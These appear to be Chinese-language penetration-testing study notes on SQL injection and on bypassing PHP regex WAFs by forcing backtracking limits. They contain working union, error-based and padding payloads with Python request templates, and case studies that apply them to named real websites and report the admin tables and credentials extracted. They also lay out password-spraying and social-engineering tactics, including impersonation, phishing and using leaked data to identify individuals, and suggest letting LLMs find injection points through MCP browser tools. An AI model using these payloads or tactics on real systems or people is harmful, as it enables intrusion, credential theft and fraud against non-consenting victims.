一、SQL注入基础
1.1 什么是SQL注入
用户输入被直接拼接到SQL语句中执行,导致攻击者可操控数据库查询。
用户输入 id=126
→ 实际执行的SQL: SELECT * FROM 表 WHERE id=126
攻击者输入 id=126 and 1=1
→ 执行的SQL: SELECT * FROM 表 WHERE id=126 and 1=1
核心原因(两个必要条件):
- 未对用户可控参数进行过滤
- 直接拼接SQL语句,单双引号被恶意闭合
防御原则:永远不信任用户输入。
1.2 注入探测
| 手法 | 说明 | 示例 |
|---|---|---|
| and 1=1 / 1=2 | 判断是否存在注入点 | id=126 and 1=1(正常显示) vs id=126 and 1=2(无显示) |
| order by | 判断表的列数 | order by 31 正常 → order by 32 报错 → 共31列 |
| 单引号闭合 | 测试是否报错 | id=126' 报错说明未过滤引号 |
1.3 联合查询注入
id=-1 union select 1,2,3,4,...,31 --+
关键规则:联表查询要求两个表的列数必须相同,所以必须先通过 order by 确定列数。
回显位置 :注入语句必须对应页面实际回显的字段位置。页面只显示第4列,就在第4列的位置注入 database() 或 user()。
1.4 常用查询
sql
-- 获取数据库名
union select 1,database(),3...
-- 获取数据库用户
union select 1,user(),3...
-- 获取数据库版本
union select 1,version(),3...
-- 获取表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
-- 获取列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名'
-- 获取数据
union select 1,group_concat(admin_user,admin_pwd),3 from web_admin
二、WAF与正则表达式防御
2.1 常见的WAF正则过滤
php
// 过滤 union select 组合
if(preg_match('/(?:union(.*?)select)/i', $uid)) {
die('fuck off');
}
// 过滤 select from 组合
if(preg_match('/SELECT.+FROM.+/is', $input)) {
die('SQL Injection');
}
关键特征:
i修饰符 = ignore,忽略大小写,大小写绕过无效.*或.*?贪婪/非贪婪匹配- 非捕获分组
(?:...)只匹配不捕获
2.2 传统绕过方式(已失效)
| 方式 | 说明 | 当前效果 |
|---|---|---|
| 大小写混淆 | UnIoN SeLeCt |
无效(有i修饰符) |
| 双写绕过 | ununionion |
无效(无replace操作) |
| 注释符 | union/**/select |
部分有效 |
| 编码绕过 | URL编码、HEX编码 | 视情况而定 |
2.3 防御建议
php
// 危险写法(容易回溯攻击)
select(.*)from
// 安全写法
select\s+\w+\s+from
select\s+(?>[^f]*)from -- 原子分组,不回溯
更高层防御:预编译(Prepared Statement)才是根本解决方案。
三、正则回溯绕过(核心考点)
3.1 原理
PHP的 preg_match 使用 NFA(非确定性有限状态自动机)作为正则引擎。
NFA匹配过程中如果某个分支匹配失败,会回溯(回退到之前的状态,尝试其他路径)。
3.2 PHP的回溯限制
PHP为了防止ReDoS(正则拒绝服务攻击),设置了回溯次数上限:
| 环境 | 上限 |
|---|---|
| 中文环境 | 10万次 |
| 英文环境 | 100万次 |
超过限制 → preg_match 返回 false(不是0,也不是1)
3.3 绕过逻辑
if(preg_match('/危险词/', $input)) {
die('拦截');
}
// 正常写入文件或执行查询
攻击目标 :让 preg_match 返回 false,从而跳过拦截,进入正常执行流程。
3.4 攻击方式
在注释中填充大量垃圾字符,触发正则回溯超时:
python
# 通用绕过脚本
import requests
payload = "Merry Christmas" + "a" * 1000000
resp = requests.post("http://目标/index.php", data={"greeting": payload})
SQL注入场景:
sql
-- 正常注入(被拦截)
union select table_name from information_schema.tables
-- 回溯绕过(注释中塞100万个a)
union/*100万个a*/select/*100万个a*/table_name from/*100万个a*/information_schema.tables
3.5 匹配过程详解
WAF正则: select(.*)from
攻击输入: select/*100万个a*/from
匹配过程:
1. select 匹配成功 ✅
2. (.*) 贪婪匹配,吞掉所有字符
3. 找不到 from → 开始回溯
4. 每退回1个字符检查一次
5. 第100万次回溯 → 找到 from
6. 但回溯次数超限 → preg_match 返回 false
7. WAF防护失效!请求直接到达后端 ⚡
四、实操案例
案例1:skytex.com.hk(基础SQL注入)
目标 :www.skytex.com.hk/solution.php
注入点 :GET参数 id
步骤:
id=126 and 1=1→ 正常显示 ✅id=126 and 1=2→ 无显示 ✅(确认注入点)order by 31→ 正常;order by 32→ 报错 → 共31列- 第4列有回显 → 在4的位置注入:
database()→skytex_dbuser()→skytex@localhostversion()→10.4.13-MariaDB-log
- 查表名时遇到阻碍 → 使用HEX编码绕过
- 获取到
web_admin表 → 管理员账号密码
关键技巧 :information_schema 可能被过滤,使用HEX编码绕过。
案例2:cqzszy.com.cn(正则回溯实战)
目标 :www.cqzszy.com.cn/order_sell.php
注入点 :POST参数 bs
WAF特征 :拦截 select(.*)from 正则模式
绕过过程:
- 注释符绕过 → 失败
- 大小写混淆 → 失败
- 重叠混淆 → 失败
- 垃圾数据填充 → 成功!
成功Payload:
python
junk = "a" * 1000000
bs = f"""1' and updatexml(1,concat(0x7e,
(select/*{junk}*/table_name from/*{junk}*/information_schema.tables limit 1),
0x7e),1) and '1aaaaa'='1"""
结果 :XPATH syntax error: '~CHARACTER_SETS~' ✅ 绕过成功
获取到的数据:
- 表名:
zszy_admin - 管理员账号:
admin - 管理员密码:
apassword(需要分段获取或HEX解码)
案例3:akvtc.cn:8999(安全审计报告)
目标 :www.akvtc.cn:8999 企业管理后台
发现的风险:
| 风险项 | 级别 | 说明 |
|---|---|---|
| 明文HTTP访问 | 高 | 登录页/API通过HTTP传输,可被中间人窃取 |
| Token拼接到URL | 中-高 | access_token 可能进入日志、浏览器历史 |
| 前端暴露API路径 | 中 | 攻击者枚举成本降低 |
| 验证码关闭 | 中 | enable_login_captcha=0,仅靠密码防护 |
| 缺少CSP等安全头 | 低-中 | 无内容安全策略、HSTS等 |
登录加密分析:
- 前端使用RSA加密(JSEncrypt库)
- 公钥通过HTTP下发(可被替换)
- 同一公钥+同一密码,每次加密结果不同(PKCS#1 v1.5填充含随机字节)
结论:前端RSA加密只能防止请求体中直接看到明文密码,不能替代HTTPS。
五、PHP弱类型与安全陷阱
5.1 严格比较 === vs ==
php
// 危险写法
if(preg_match('/正则/', $input) == false) {
// 可以进入
}
// 安全写法
if(preg_match('/正则/', $input) === false) {
// 只有返回布尔值false时才能进入
}
为什么危险:
preg_match匹配失败返回0- 发生错误返回
false - 使用
==时,0 == false为true - 使用
===时,0 === false为false(类型不同)
5.2 数组绕过
当传入数组参数时:
preg_match处理数组返回nullnull !== false为true- 原本要求返回false的逻辑被绕过
代码示例:
php
function areyouok($greeting) {
return preg_match('/Merry.*Christmas/is', $greeting);
}
// 如果传入数组,preg_match返回null
// null !== false 成立,进入if分支
5.3 类型转换风险
PHP是弱类型语言,隐式类型转换可能破坏程序逻辑。关键安全判断处必须使用严格比较 ===。
六、工具与调试
6.1 Xdebug 调试配置
- 创建包含
phpinfo()的PHP文件 - 运行后查看网页源码,复制到
xdebug.org/wizard - 自动检测需要的Xdebug版本
- 下载对应
.dll文件到PHP的ext目录 - 在
php.ini中启用扩展 - 监听端口:9003
调试操作:
- 单步跳过:不进入函数内部,直接获取结果
- 单步进入:深入函数查看执行过程
- 跳出函数:获取需要的数据后立即退出
- 跳转断点:从一个断点跳到下一个
6.2 正则调试工具
regex101.com:可视化展示正则匹配过程,查看回溯次数
6.3 MCP工具
大模型 + MCP = 超强大脑 + 灵活手脚
MCP能帮大模型操作浏览器:
- 点击页面元素
- 填写表单
- 获取控制台日志
- 自动检测注入点
安装:GitHub上找到对应项目,让云端安装即可。
七、渗透测试思路
7.1 SQL注入测试流程
发现注入点 → 判断列数(order by) → 确定回显位置 →
获取数据库名(database()) → 获取表名 → 获取列名 → 获取数据
7.2 遇到WAF时的应对
- 尝试GET → 被拦截
- 切换到POST(表单提交通常是POST)
- 测试哪些关键词被过滤(分层测试)
- 尝试注释符、大小写等基础绕过
- 升级到正则回溯攻击(100万个字符)
- 使用HEX编码绕过
7.3 渗透测试原则
- 点到为止:不能破坏目标网站的正常业务
- 明确边界:不能触碰真实数据
- 合法授权:未经授权的测试可能面临法律风险
- 遵守法律:现在的法律环境已完全不同
7.4 密码喷洒攻击
原理:固定密码 + 轮换用户名
与传统爆破的区别:
| 方式 | 手法 | 被WAF识别的风险 |
|---|---|---|
| 传统爆破 | 固定用户名,换密码 | 高(连续3次错误就封) |
| 密码喷洒 | 固定密码,换用户名 | 低(每个用户只输错1次) |
成功率:目标系统用户量足够大时,成功率超过50%。
八、社会工程学
8.1 核心原理
获取对方信任,让人主动开门,而不是技术性"撬锁"。
8.2 常见手法
| 手法 | 说明 |
|---|---|
| 伪装导员 | 通过学生获取导员电话→仿制微信头像→索要信息 |
| 扫码钓鱼 | 楼下扫码送玩偶→加好友→养号→投喂定制化内容 |
| 电话冒充 | 冒充后勤人员,以系统升级为由索要账号密码 |
| 信息挖掘 | 利用社工库,从姓名反推身份证号等信息 |
8.3 关键点
- 三要素(姓名、手机号、身份证号)可精准锁定个人
- 特殊姓名更容易定位(藏族/新疆四字姓名、少见姓名)
- 学号是突破口(泄露较多,初始密码常为123456)
- 打电话比加微信更正式可信
附:常用命令速查
bash
# 查看PHP回溯限制
php -r "var_dump(ini_get('pcre.backtrack_limit'));"
# Python回溯绕过模板
import requests
payload = "关键词" + "a" * 1000000
resp = requests.post("http://目标", data={"参数": payload})
sql
-- 十六进制编码绕过
select hex('users') -- 将表名转为16进制
-- 注释符替代空格
select/**/table_name/**/from/**/information_schema.tables
-- 报错注入
updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 1),0x7e),1)
最后提醒:AI工具能大幅降低渗透测试门槛,但核心思路和边界意识仍需人工把控。不要盲目迷信Skill(反而可能限制模型能力),也不要低估AI的辅助价值。